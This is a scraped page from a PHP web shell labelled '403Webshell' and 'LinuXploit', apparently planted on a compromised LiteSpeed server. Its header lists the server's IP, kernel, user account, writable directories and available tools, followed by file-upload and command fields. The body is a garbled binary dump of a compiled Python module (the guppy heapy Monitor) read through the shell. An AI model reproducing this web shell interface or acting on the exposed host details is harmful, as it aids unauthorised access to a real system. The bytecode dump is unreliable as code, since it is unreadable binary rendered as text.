403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.147.59.250
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/guppy/heapy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/guppy/heapy/__pycache__/Monitor.cpython-37.pyc
B

�]:�@s0ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	yddl
Z
Wnek
rpYnXddlZddl
Z
ddlTddlmZddlmZddlmZddlmZGdd�dej�Zd	d
�Zddd�Zd
ZGdd�dej�ZGdd�dej�ZGdd�d�Z dd�Z!e"dk�r,e!�dS)�N)�*)�Console)�
mutnodeset)�ptable)�cmdc@seZdZdS)�ServerN)�__name__�
__module__�__qualname__�rr�F/opt/alt/python37/lib64/python3.7/site-packages/guppy/heapy/Monitor.pyrsrcCs t�|ggg|�\}}}t|�S)N)�select�len)�fd�wait�r�w�xrrr�ioreadysrcCs4x.y|jdd�Stjk
r*|r&PYqXqWdS)Ng�������?)�timeout)�get�queue�Empty)�q�noblockrrr�queue_get_interruptible$sr)ZCLOSEDc@sJeZdZdZdd�Zdd�Zdd�Zdd	d
�Zdd�Zd
d�Z	dd�Z
dS)�Handler�cCs@|j�d�s<|jj�|�|j�t�|j�	d�|j�
�dS)Nr�)�isclosedZtas�server�monitor�remove_connection�dataq�put�CONN_CLOSED�request�shutdown�close)�selfrrrr(5s
z
Handler.closecCs(|�d�s|d7}|j�|�d��dS)N�
zutf-8)�endswithr&�send�encode)r)rrrr�send_cmd<s
zHandler.send_cmdcCs>|jdkr|jddd�|jdkr0|jddd�|j|dd�S)Nz>>> rr)�retdataz<Annex> Zcont)�prompt�exec_cmd)r)rrrr�browser_cmdAs


zHandler.browser_cmdrcCs�|dk	r|�|�d|_g}x�t|j|�}|dkrH|jr<Pnt�d�q|tkrTt�|ddkr�d|_|rz|�|d�q�t	j
�|d�q|ddkr�|d|_|j�
�r�d|_Pq�d|_qdst�qW|r�d�|�SdS)NFrr�DATA�PROMPTT�)r.�promptstaterr#�time�sleepr%�EOFError�append�sys�stdout�writer0�empty�AssertionError�join)r)rr/rZdatas�prrrr1Hs6



zHandler.exec_cmdcCsNxH|j�d�D]8}|�|�rd|krB|�d�}||dd���}|SqWdS)Nr*�=rr5)�	firstdata�split�
startswith�index�strip)r)�name�lineZixrrr�get_psis

zHandler.get_pscCs|�d|�}t�|�S)Nzdump %s)r2�pickle�loads)r)�expr�datarrr�get_valrszHandler.get_valc	Cs�d|_d|_t�|_t��|_|jj�	|�x�y2|j
���d�}|sLt
d��|�t�r^t
d��Wnt
tjfk
r|PYnX|�t�r�|dtt��}|j�d|f�|jdkr�|jddd�|_q.|j�d|f�q.W|��dS)	NFzutf-8zEnd of file�DONEr4r)rr/r3)r0r6rrr�Queuer#r r!�add_connectionZrfile�readline�decoder9r+rP�socket�errorZREADLINErr$r1rCr()r)rNr0rrr�handlevs*



zHandler.handleN)rr)rr	r
Zallow_reuse_addressr(r.r2r1rJrOrWrrrrr2s
!	rc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Ze
jjZdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,S)-�MonitorConnectionrcCsli|_tj�|�d|_d|_d|_d|_||_t	t
tft�|_
}||j
_tj|jdd�|_|j��dS)Nrz
<Monitor> r)�target�args)�aliasesr�Cmd�__init__Zhnor�	forceexitr0r!rZ	LOCALHOSTZ	HEAPYPORTrr �	threading�Thread�
run_server�st�start)r)r!�srrrr]�s
zMonitorConnection.__init__cCs.d|_|jj�d�|j��dd�|j_dS)NrrcSsdS)Nrr)r�yrrr�<lambda>��z)MonitorConnection.close.<locals>.<lambda>)rr rUr'�server_closeZverify_request)r)rrrr(�s
zMonitorConnection.closecCs tj�||�tj�|d�dS)Nr5)rr\�default�do_help)r)rIrrrri�szMonitorConnection.defaultcCs&|j}x|js|��qW|��dS)N)r rZhandle_requestrh)r)rdrrrra�szMonitorConnection.run_servercCsT|sdS|}y$|�|�}|�|�}|�||�}|Stk
rN|�|�YnXdS)N)�precmdZonecmdZpostcmd�
BaseException�handle_error)r)rrI�stoprrrr1�s

zMonitorConnection.exec_cmdcCsRtdtjd�tddtjd�tt|�tjd�ddl}|��tdtjd�dS)ztHandle an error gracefully.  May be overridden.

        The default is to print a traceback and continue.

        z(----------------------------------------)�filez0Exception happened during processing the command� )�endrorN)�printr;�stderr�repr�	traceback�	print_exc)r)Zcmdlinerurrrrm�szMonitorConnection.handle_errorc	Cs,||_|s|S|��}x�|d|jkr�|j|d}d|kr�d}xR|dd�D]B}|�dt|�|�}|�dt|�d�||d���}|d}qNW|�dd�|dd���}n|dd�|dd��}|��}qW|ddk�r(|�d	�}|dk�r(||d
d���}|j�	|�|d|��
�}|S)z*Handle alias expansion and ';;' separator.r�%rNz%>=rpz%*�aliasz;;r)ZcurlinerDr[�replace�strr@�find�lstripZcmdqueuer:�rstrip)r)rIrZ�iiZtmpArg�marker�nextrrrrk�s0

zMonitorConnection.precmdcCs
d|_dS)Nr)r^)r)�argrrr�do_exit�szMonitorConnection.do_exitcCstd�dS)Nz�exit
-----
Exit from the monitor and from the Python process that started it.
This makes sure to exit without waiting for the server thread to terminate.
See also the q command.)rr)r)rrr�	help_exit�szMonitorConnection.help_exitcCstd�dS)Nz�h(elp)
-----
Without argument, print the list of available commands.
With a command name as argument, print help about that command.)rr)r)rrr�help_h�szMonitorConnection.help_hcCs|��dS)N)r�)r)rrr�	help_helpszMonitorConnection.help_helpcCs0z(t|j|j|jd�}|�d|j�WdXdS)N)�stdinr<�localsz9Local interactive console. To return to Monitor, type %r.)rr�r<�__dict__ZinteractZEOF_key_sequence)r)r��conrrr�do_ints

zMonitorConnection.do_intcCstd�dS)Nz�int
-----
Local interactive console.
This will bring up a Python console locally in
the same interpreter process that the Monitor itself.)rr)r)rrr�help_intszMonitorConnection.help_intcCsL|s
|j}t|�}|jj|}|�d�r2td�ntd|�|�t�dS)NZnoninterruptiblezCError: Can not interrupt this remote connection (uses Python < 2.4)z+Sending KeyboardInterrupt to connection %s.)�conid�intr!�connectionsrJrrr.ZKEYBOARDINTERRUPT)r)r��crrr�do_kis
zMonitorConnection.do_kicCstd�dS)Na\ki <connection ID>
-----
Keyboard Interrupt

Send a command to interrupt the remote thread on the specified
connection (default is the last one connected to).

Notes:

It currently only works with Python >= 2.4.  The remote thread will
not always be awakened, for example if it is waiting in
time.sleep(). Sometimes using several ki commands helps.)rr)r)rrr�help_ki%szMonitorConnection.help_kicCsVdddgg}x8t|jj���D]$\}}|�||�d�|�d�g�qWt||j�dS)NZCIDZPIDZARGVz
target.pidztarget.sys.argv)�listr!r��itemsr:rJrr<)r)r��tableZcidr�rrr�do_lc3szMonitorConnection.do_lccCstd�dS)Na�lc
-----
List Connections.
List the currently open connections.
The table printed has one line per connection in this form:

CID PID   ARGV
  1 17999 ['/home/nilsson/bin/solitaire.py']

CID is the connection ID, which may be used as argument to the sc
command.

PID is the process ID of the target interpreter process.  In Linux,
this is the parent of the remote control interpreter thread that runs
the Annex that the connection is talking to.

ARGV is the argument vector in the target Python interpereter.)rr)r)rrr�help_lc<szMonitorConnection.help_lccCs6|rt|�|_td|j�|j�|jj|j�dS)NzFRemote connection %d. To return to Monitor, type <Ctrl-C> or .<RETURN>)r�r�rrr!�set_connectionr�)r)r�rrr�do_scOs
zMonitorConnection.do_sccCstd�dS)Napsc <connection ID>
-----
Set connection to communicate with a remote thread.

With an argument, set current connection to the number specified.
Without argument, use the same connection as last time.  You will then
be talking to a remote process via that connection.  You can return to
Monitor at any time by <Ctrl-C>. You may also use the '.' command
(followed by <Return>), if the remote process is waiting for input.
The '.' character may be followed by a monitor command, to execute it
directly instead of returning to the monitor. For example, when
talking to a connection, '.sc 1' will directly change to connection 1.)rr)r)rrr�help_scUszMonitorConnection.help_sccCsdS)Nrr)r)r�rrr�do_qcszMonitorConnection.do_qcCstd�dS)Nz�q
-----
Quit from the monitor.
This will not exit from Python itself if called from an interactive
interpreter. To make sure to exit from Python, use the exit command.)rr)r)rrr�help_qfszMonitorConnection.help_qN)rr	r
�
use_raw_inputr]r(rirar1rmrkr�r�rr\rjZdo_hr�r�r�r�r�r�r�r�r�r�r�r�rrrrrX�s.	rXc@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�MonitorrcCs&t|�|_|_i|_d|_d|_dS)Nr)rX�
connection�monitor_connectionr��idsr0)r)rrrr]qszMonitor.__init__cCsF|jsd|_|j|j_n(tdgdd�t|j���D��d|_|jS)NrcSsg|]}|�qSrr)�.0r�rrr�
<listcomp>|sz!Monitor.newid.<locals>.<listcomp>)r�r�r�r��maxr��keys)r)rrr�newidws
(z
Monitor.newidcCs*|��}||j|<||_|�d|�dS)Nz*** Connection %s opened ***)r�r��
monitor_id�print_async)r)r�ZhidrrrrRs
zMonitor.add_connectioncCs2|jdk	r.td|�tj�|j�tj��dS)zS Print text only if we are waiting for input,
        and then restore the prompt. Nr*)r0rrr;r<r=�flush)r)�textrrrr��s
zMonitor.print_asynccCs4|j|j=||jkr |�|j�|�d|j�dS)Nz*** Connection %s closed ***)r�r�r�r�r�r�)r)r�rrrr"�s


zMonitor.remove_connectioncCsB�z*d}�x|�s(y�x�|s�|j}|j|_||jk	r@|jddd�t|j�}d|_d}|�d�r�|dkrp|j|_q�|dd�}|j}n|j}|ry|�|�}Wntk
r�d}YnX||jkr|rd}qWWqtk
r�td�|j|_d}Yqtk
�r$td�td�|j|_wYqXqWWdd|_|�	�XdS)Nrr)rr�.z%*** End Of File - Exiting Monitor ***�KeyboardInterruptz1Use the ki command to interrupt a remote process.)
r�r0r�r1�inputrEr9rrr�r()r)rnZconnrrrrr�run�sH





zMonitor.runc	Csxx:t|j���D](}y|��Wqtjk
r6YqXqWy|j��Wntjk
r`YnX|jjrtt�	d�dS)Nr)
r�r��valuesr(rUrVr�r^�os�_exit)r)r�rrrr(�s
z
Monitor.closecCs||_|j|_dS)N)r�r0)r)r�rrrr��szMonitor.set_connectionN)rr	r
r�r]r�rRr�r"r�r(r�rrrrr�ns,
r�cCs&ddlm}|��t�}|��dS)z�monitor() [0]

Start an interactive remote monitor.

This can be used to get information about the state, in
particular the memory usage, of separately running Python
processes.

References
    [0] heapy_Use.html#heapykinds.Use.monitorr)�RemoteN)Zguppy.heapyr��offr�r�)r��mrrrr!�sr!�__main__)r)#r��pprint�signalrUZsocketserverr;r_r7rurKrS�ImportErrorr
rZguppy.heapy.RemoteConstantsZguppy.heapy.ConsolerZ
guppy.setsrZ
guppy.etc.etcrZ	guppy.etcrZThreadingTCPServerrrrr%ZStreamRequestHandlerrr\rXr�r!rrrrr�<module>s>
_^d


Youez - 2016 - github.com/yon3zu
LinuXploit